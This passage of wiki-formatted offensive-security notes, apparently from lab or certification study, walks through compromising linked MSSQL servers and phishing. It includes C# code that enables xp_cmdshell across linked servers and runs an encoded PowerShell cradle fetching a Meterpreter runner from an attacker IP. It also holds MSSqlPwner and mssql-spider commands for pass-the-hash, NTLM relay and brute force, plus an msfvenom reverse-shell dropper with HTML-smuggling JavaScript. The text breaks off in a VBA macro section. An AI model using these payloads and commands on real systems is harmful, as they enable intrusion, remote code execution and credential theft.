            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            String query = &amp;quot;EXEC (&#039;sp_linkedservers&#039;) AT DC01;&amp;quot;;&lt;br /&gt;
            SqlCommand command = new SqlCommand(query, con);&lt;br /&gt;
            SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
            while (reader.Read())&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Linked SQL server: &amp;quot; + reader[0].ToString());&lt;br /&gt;
            }&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The code below will use &amp;lt;code&amp;gt;OpenQuery&amp;lt;/code&amp;gt; twice. First on the linked SQL server dc01, and back again to appsrv01 to enumerate the login user&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
String query = &amp;quot;select mylogin from openquery(\&amp;quot;dc01\&amp;quot;, &#039;select mylogin from openquery(\&amp;quot;appsrv01\&amp;quot;, &#039;&#039;select SYSTEM_USER as mylogin&#039;&#039;)&#039;)&amp;quot;;&lt;br /&gt;
SqlCommand command = new SqlCommand(query, con);&lt;br /&gt;
SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
while (reader.Read())&lt;br /&gt;
{&lt;br /&gt;
    Console.WriteLine(&amp;quot;Login: &amp;quot; + reader[0].ToString());&lt;br /&gt;
}&lt;br /&gt;
reader.Close();&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Code Exection&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Using the code below will give us code execution on &amp;lt;code&amp;gt;appsrv01&amp;lt;/code&amp;gt; through &amp;lt;code&amp;gt;dc01&amp;lt;/code&amp;gt; as the &amp;lt;code&amp;gt;sa&amp;lt;/code&amp;gt; user.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQL&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static string sqlServer = &amp;quot;appsrv01&amp;quot;;&lt;br /&gt;
        static string database = &amp;quot;master&amp;quot;;&lt;br /&gt;
        static string conString = $&amp;quot;Server = {sqlServer}; Database = {database}; Integrated Security = True;&amp;quot;;&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            using (SqlConnection con = new SqlConnection(conString))&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
                ListLinkedServers(con);&lt;br /&gt;
                DisplayCurrentLoginThroughDC01(con);&lt;br /&gt;
                DisplayCurrentLoginLocal(con);&lt;br /&gt;
                EnableAdvancedOptionsOnBothServers(con);&lt;br /&gt;
                EnableXpCmdShellOnBothServers(con);&lt;br /&gt;
                ExecutePayloadOnAppsrv01ThroughDC01(con);&lt;br /&gt;
                con.Close();&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        static void ListLinkedServers(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            ExecuteReader(con, &amp;quot;EXEC (&#039;sp_linkedservers&#039;) AT DC01;&amp;quot;, reader =&amp;gt; Console.WriteLine(&amp;quot;Linked SQL server: &amp;quot; + reader[0]));&lt;br /&gt;
        }&lt;br /&gt;
        static void DisplayCurrentLoginThroughDC01(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            string query = &amp;quot;select mylogin from openquery(dc01, &#039;select mylogin from openquery(appsrv01, &#039;&#039;select SYSTEM_USER as mylogin&#039;&#039;)&#039;)&amp;quot;;&lt;br /&gt;
            ExecuteReader(con, query, reader =&amp;gt; Console.WriteLine(&amp;quot;Login: &amp;quot; + reader[0]));&lt;br /&gt;
        }&lt;br /&gt;
        static void DisplayCurrentLoginLocal(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            ExecuteReader(con, &amp;quot;SELECT SYSTEM_USER;&amp;quot;, reader =&amp;gt; Console.WriteLine(&amp;quot;Executing as login: &amp;quot; + reader[0]));&lt;br /&gt;
        }&lt;br /&gt;
        static void EnableAdvancedOptionsOnBothServers(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC (&#039;EXEC(&#039;&#039;sp_configure &#039;&#039;&#039;&#039;show advanced options&#039;&#039;&#039;&#039;, 1; reconfigure;&#039;&#039;) AT appsrv01&#039;) AT dc01&amp;quot;);&lt;br /&gt;
            if (CheckIfOptionEnabled(con, &amp;quot;DC01&amp;quot;, &amp;quot;show advanced options&amp;quot;))&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is enabled on DC01.&amp;quot;);&lt;br /&gt;
            else&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is NOT enabled on DC01.&amp;quot;);&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC sp_configure &#039;show advanced options&#039;, 1; RECONFIGURE;&amp;quot;);&lt;br /&gt;
            if (CheckIfOptionEnabled(con, &amp;quot;appsrv01&amp;quot;, &amp;quot;show advanced options&amp;quot;))&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is enabled on appsrv01.&amp;quot;);&lt;br /&gt;
            else&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is NOT enabled on appsrv01.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
        static void EnableXpCmdShellOnBothServers(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            // Enable xp_cmdshell on appsrv01 through DC01&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC (&#039;EXEC(&#039;&#039;sp_configure &#039;&#039;&#039;&#039;xp_cmdshell&#039;&#039;&#039;&#039;, 1; reconfigure;&#039;&#039;) AT appsrv01&#039;) AT dc01&amp;quot;);&lt;br /&gt;
            // Enable xp_cmdshell on DC01&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC (&#039;sp_configure &#039;&#039;xp_cmdshell&#039;&#039;, 1; reconfigure;&#039;) AT dc01&amp;quot;);&lt;br /&gt;
            if (CheckIfOptionEnabled(con, &amp;quot;DC01&amp;quot;, &amp;quot;xp_cmdshell&amp;quot;))&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;xp_cmdshell&#039; is enabled on DC01.&amp;quot;);&lt;br /&gt;
            else&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;xp_cmdshell&#039; is NOT enabled on DC01.&amp;quot;);&lt;br /&gt;
            if (CheckIfOptionEnabled(con, &amp;quot;appsrv01&amp;quot;, &amp;quot;xp_cmdshell&amp;quot;))&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;xp_cmdshell&#039; is enabled on appsrv01.&amp;quot;);&lt;br /&gt;
            else&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;xp_cmdshell&#039; is NOT enabled on appsrv01.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        static void ExecutePayloadOnAppsrv01ThroughDC01(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
                    //$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.221/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
                    // In run.txt is the SimpleShellcode runner with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f ps1&lt;br /&gt;
                    //$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
                    //$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC (&#039;EXEC(&#039;&#039;xp_cmdshell &#039;&#039;&#039;&#039;powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIANAA0AC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA&#039;&#039;&#039;&#039; &#039;&#039;) AT appsrv01&#039;) AT dc01&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
        static void ExecuteReader(SqlConnection con, string query, Action action)&lt;br /&gt;
        {&lt;br /&gt;
            using (SqlCommand cmd = new SqlCommand(query, con))&lt;br /&gt;
            {&lt;br /&gt;
                using (SqlDataReader reader = cmd.ExecuteReader())&lt;br /&gt;
                {&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        action(reader);&lt;br /&gt;
                    }&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        static void ExecuteNonQuery(SqlConnection con, string query)&lt;br /&gt;
        {&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                using (SqlCommand cmd = new SqlCommand(query, con))&lt;br /&gt;
                {&lt;br /&gt;
                    cmd.ExecuteNonQuery();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception ex)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine($&amp;quot;Failed to execute query. Error: {ex.Message}&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        static bool CheckIfOptionEnabled(SqlConnection con, string server, string option)&lt;br /&gt;
        {&lt;br /&gt;
            string query = server == &amp;quot;DC01&amp;quot;&lt;br /&gt;
                ? $&amp;quot;SELECT value_in_use FROM OPENQUERY({server}, &#039;SELECT value_in_use FROM sys.configurations WHERE name = &#039;&#039;{option});&amp;quot;&lt;br /&gt;
                : $&amp;quot;SELECT value_in_use FROM sys.configurations WHERE name = &#039;{option}&#039;;&amp;quot;;&lt;br /&gt;
            using (SqlCommand cmd = new SqlCommand(query, con))&lt;br /&gt;
            {&lt;br /&gt;
                return Convert.ToInt32(cmd.ExecuteScalar()) == 1;&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Automating linked SQL enum and attacks ===&lt;br /&gt;
&lt;br /&gt;
==== PowerUpSQL.ps1 ====&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?p=2078#MSSQL_Trusted_Links Active Directory – Notes, Methodology, Cheatsheet – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/NetSPI/PowerUpSQL GitHub - NetSPI/PowerUpSQL: PowerUpSQL: A PowerShell Toolkit for Attacking SQL Server]&lt;br /&gt;
&lt;br /&gt;
==== Evil SQL Client ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/NetSPI/ESC GitHub - NetSPI/ESC: Evil SQL Client (ESC) is an interactive .NET SQL console client with enhanced SQL Server discovery, access, and data exfiltration features. While ESC can be a handy SQL Client for daily tasks, it was originally designed for targeting SQL Servers during penetration tests and red team engagements. The intent of the project is to provide an .exe, but also sample files for execution through mediums like msbuild and PowerShell.]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# First run the .exe on target machine&lt;br /&gt;
# Find domainspns&lt;br /&gt;
SQLCLIENT&amp;gt; discover domainspn&lt;br /&gt;
# Show discovered instances.&lt;br /&gt;
SQLCLIENT&amp;gt; show discovered&lt;br /&gt;
# List links information for accessoble target SQL Server instances.&lt;br /&gt;
list links&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== MSSQL Pwner (Best tool) ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/ScorpionesLabs/MSSqlPwner GitHub - ScorpionesLabs/MSSqlPwner]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# We assume we have access to appsrv01 as a non-sa account. appsrv01 have a link to DC01. The link is bidirectional. We can use that to escalate our privileges on appsrv01.&lt;br /&gt;
python3 MSSqlPwner.py corp1.com/offsec:lab@192.168.229.6 -windows-auth interactive&lt;br /&gt;
...&lt;br /&gt;
[*] Discovered server principal: APPSRV01\Administrator on APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa@master/dbo)&lt;br /&gt;
...&lt;br /&gt;
# Pass the hash MSSQLPwner&lt;br /&gt;
MSSqlPwner.py administrator@192.168.231.140 -hashes :5c3e856f452d9cecc5801a954ab22122 -windows-auth interactive&lt;br /&gt;
&lt;br /&gt;
# Set link server to DC01&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest)&amp;gt; set-link-server DC01&lt;br /&gt;
[*] Chosen linked server: DC01&lt;br /&gt;
# Execute commands. MSSQL Pwner will enable xp_cmdshell automatically if the user have rights.&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo)&amp;gt; exec whoami&lt;br /&gt;
[*] Chosen linked server: DC01&lt;br /&gt;
[*] Reconfiguring show advanced options&lt;br /&gt;
[*] Reconfiguring xp_cmdshell&lt;br /&gt;
[*] The xp_cmdshell command executed successfully on APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo)&lt;br /&gt;
[*] Result: (Key: output) corp1\sqlsvc&lt;br /&gt;
[*] Result: (Key: output) NULL&lt;br /&gt;
# Execute commands on appsrv01 through DC01&lt;br /&gt;
# First get the chain list&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo)&amp;gt; get-chain-list&lt;br /&gt;
[*] Chosen linked server: DC01&lt;br /&gt;
[*] Chain list:&lt;br /&gt;
[*] 995f1680-2ad4-4f50-8606-47312d5b5807 - APPSRV01 (CORP1\offsec@master/guest) (CORP1\offsec guest@master)&lt;br /&gt;
[*] aacabf55-4bb6-40e3-a0ce-feb406d26b1e - APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) (sa dbo@master)&lt;br /&gt;
[*] f74445c8-4fb7-4a68-86d8-9c14cfd9470a - APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa&amp;gt;I:CORP1\Administrator@master/dbo) (CORP1\Administrator dbo@master)&lt;br /&gt;
[*] 9f676285-ffe4-4a97-b7b4-f4f59e128a2f - APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa@master/dbo) (sa dbo@master)&lt;br /&gt;
[*] c7ecd747-93cf-4978-aab2-33a8864400f1 - APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo) (APPSRV01\Administrator dbo@master)&lt;br /&gt;
&lt;br /&gt;
# Set the chain by using the chain ID and execute a command&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo)&amp;gt; set-chain c7ecd747-93cf-4978-aab2-33a8864400f1&lt;br /&gt;
[*] Chosen chain: APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo) (ID: c7ecd747-93cf-4978-aab2-33a8864400f1)&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo)&amp;gt; exec whoami&lt;br /&gt;
[*] Chosen chain: APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo) (ID: c7ecd747-93cf-4978-aab2-33a8864400f1)&lt;br /&gt;
[*] Reconfiguring show advanced options&lt;br /&gt;
[*] Reconfiguring xp_cmdshell&lt;br /&gt;
[*] The xp_cmdshell command executed successfully on APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo)&lt;br /&gt;
[*] Result: (Key: output) corp1\sqlsvc&lt;br /&gt;
[*] Result: (Key: output) NULL&lt;br /&gt;
# To get a shell on appsrv01 through DC01&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo)&amp;gt; exec &amp;quot;powershell.exe -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMAAxAC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA&amp;quot;&lt;br /&gt;
# The encoded powershell command&lt;br /&gt;
$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
$EncodedText&lt;br /&gt;
# run.txt is a powershell shellcode runner.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-9.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
--------------------------&lt;br /&gt;
# From GitHub&lt;br /&gt;
# Interactive mode&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth interactive&lt;br /&gt;
# Interactive mode with 2 depth level of impersonations&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth  -max-impersonation-depth 2 interactive&lt;br /&gt;
&lt;br /&gt;
# Executing custom assembly on the current server with windows authentication and executing hostname command&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname&lt;br /&gt;
# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname&lt;br /&gt;
# Executing the hostname command using stored procedures on the linked SRV01 server&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname&lt;br /&gt;
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec &amp;quot;cmd /c mshta http://192.168.45.250/malicious.hta&amp;quot; -command-execution-method sp_oacreate&lt;br /&gt;
# Issuing NTLM relay attack on the SRV01 server&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250&lt;br /&gt;
# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250&lt;br /&gt;
# Issuing NTLM relay attack on the local server with custom command&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250&lt;br /&gt;
# Executing direct query&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth direct-query &amp;quot;SELECT CURRENT_USER&amp;quot;&lt;br /&gt;
# Retrieving password from the linked server DC01&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 retrive-password&lt;br /&gt;
# Execute code using custom assembly on the linked server DC01&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll&lt;br /&gt;
# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt&lt;br /&gt;
# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt&lt;br /&gt;
# Bruteforce using tickets against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -tl tickets.txt -ul users.txt&lt;br /&gt;
# Bruteforce using passwords against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -ul users.txt -pl passwords.txt&lt;br /&gt;
# Bruteforce using hashes against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -ul users.txt -hl hashes.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== [https://github.com/dadevel/mssql-spider mssql-spider] (Great tool) ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/dadevel/mssql-spider dadevel/mssql-spider: Automated exploitation of MSSQL servers at scale (github.com)]&lt;br /&gt;
&lt;br /&gt;
This tool is kinda similar to mssqlpwner.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Authentication&lt;br /&gt;
# As local database user.&lt;br /&gt;
mssql-spider -u jdoe -p &#039;passw0rd&#039; -t db01.corp.local&lt;br /&gt;
# As local windows user.&lt;br /&gt;
mssql-spider -w -u administrator -p &#039;passw0rd&#039; -t db01.corp.local&lt;br /&gt;
# As domain user via NTLM and a password.&lt;br /&gt;
mssql-spider -d corp.local -u jdoe -p &#039;passw0rd&#039; -t db01.corp.local&lt;br /&gt;
# As domain user via NTLM Pass the Hash.&lt;br /&gt;
mssql-spider -d corp.local -u jdoe -H b9f917853e3dbf6e6831ecce60725930 -t db01.corp.local&lt;br /&gt;
# As domain user via Kerberos Overpass the Key.&lt;br /&gt;
mssql-spider -d corp.local -u jdoe -H b9f917853e3dbf6e6831ecce60725930 -k -t db01.corp.local&lt;br /&gt;
# As domain user via Kerberos Pass the Key.&lt;br /&gt;
mssql-spider -d corp.local -u jdoe -a c4c283276339e2d6b390eb5a11d419c9 -k -t db01.corp.local&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Phishing (Client side code exec) ==&lt;br /&gt;
&lt;br /&gt;
REMEMBER - Check if MS word is running 64-bit or 32-bit&lt;br /&gt;
&lt;br /&gt;
=== HTML Smuggeling ===&lt;br /&gt;
&lt;br /&gt;
HTML Smuggeling is when a victim clicks on a malicious link and JavaScript code inside the website will use HTML smuggeling to automatically save the dropper file. The technique uses the HTML5 anchor tag download attribute instructs the&lt;br /&gt;
browser to automatically download a file when a user clicks the assigned hyperlink.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In the example below I will create a dropper file, and host a website which automatically downloads my dropper once the victim clicks on the link using the HTML code below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generate a staged payload using msfvenom.&lt;br /&gt;
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.126 LPORT=443 -f exe -o msfstaged.exe&lt;br /&gt;
# Saved it as base64 as to not lose any data.&lt;br /&gt;
base64 msfstaged.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		function base64ToArrayBuffer(base64) {&lt;br /&gt;
			var binary_string = window.atob(base64);&lt;br /&gt;
			var len = binary_string.length;&lt;br /&gt;
			var bytes = new Uint8Array( len );&lt;br /&gt;
			for (var i = 0; i&lt;br /&gt;
			var file =&amp;quot;TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAA...&amp;quot;&lt;br /&gt;
			var data = base64ToArrayBuffer(file);&lt;br /&gt;
			var blob = new Blob([data], {type: &#039;octet/stream&#039;});&lt;br /&gt;
			var fileName = &#039;msfstaged.exe&#039;;&lt;br /&gt;
&lt;br /&gt;
			var a = document.createElement(&#039;a&#039;);&lt;br /&gt;
			document.body.appendChild(a);&lt;br /&gt;
			a.style = &#039;display: none&#039;;&lt;br /&gt;
			var url = window.URL.createObjectURL(blob);&lt;br /&gt;
			a.href = url;&lt;br /&gt;
			a.download = fileName;&lt;br /&gt;
			a.click();&lt;br /&gt;
			window.URL.revokeObjectURL(url);&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-02-image.png|thumb|When the victim clicks a link in our phishing mail it will automatically download the dropper file onto the victim machine.]]&lt;br /&gt;
&lt;br /&gt;
=== BobTheSmuggler ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/TheCyb3rAlpha/BobTheSmuggler?tab=readme-ov-file TheCyb3rAlpha/BobTheSmuggler: &amp;quot;Bob the Smuggler&amp;quot;: A tool that leverages HTML Smuggling Attack and allows you to create HTML files with embedded 7z/zip archives. The tool would compress your binary (EXE/DLL) into 7z/zip file format, then XOR encrypt the archive and then hides inside PNG/GIF image file format (Image Polyglots). (github.com)]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&amp;quot;Bob the Smuggler&amp;quot;&#039;&#039;&#039; is a tool that leverages HTML Smuggling Attack and allows you to create HTML files with embedded 7z/zip archives. The tool would compress your binary (EXE/DLL) into 7z/zip file format, then XOR encrypt the archieve and then hides inside PNG/GIF image file format (Image Polyglots). The JavaScript embedded within the HTML will download the PNG/GIF file and store it in the cache. Following this, the JavaScript will extract the data embedded in the PNG/GIF, assemble it, perform XOR decryption, and then store it as an in-memory blob.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you want to compress SharpHound.exe into 7z format (password protected) and store it in a HTML file, you can use the following command:&lt;br /&gt;
python3 BobTheSmuggler.py -i path/to/SharpHound.exe -p 123456 -c 7z -f SharpHound.html -o SharpHound.7z -t html&lt;br /&gt;
# To create an HTML file with the embedded payload hidden inside PNG file, you can use the following command:&lt;br /&gt;
python3 BobTheSmuggler.py -i  -p  -f  -o  -t png test.png&lt;br /&gt;
# Embed payload inside GIF File:&lt;br /&gt;
python3 BobTheSmuggler.py -i  -p  -f  -o  -t gif test.gif&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2024-01-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2024-01-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Zip Sharphound and use OneDrive template.&lt;br /&gt;
&lt;br /&gt;
=== Microsoft Office Macro Client-side Attack ===&lt;br /&gt;
&lt;br /&gt;
REMEMBER - Check if 32-bit or 64-bit&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/?page_id=1809#Microsoft_Word https://blog.aghanim.net/?page_id=1809#Microsoft_Word]&lt;br /&gt;
&lt;br /&gt;
==== Visual Basic for Applications  [VBA] ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
&#039;VBA Datatype&lt;br /&gt;
&#039;Dim is used to declare variables&lt;br /&gt;
Dim myString As String # Unicode&lt;br /&gt;
Dim myLong As Long # 64-bit integer&lt;br /&gt;
Dim myPointer As LongPtr # Memory pointer&lt;br /&gt;
&#039;Example - if and else statement&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
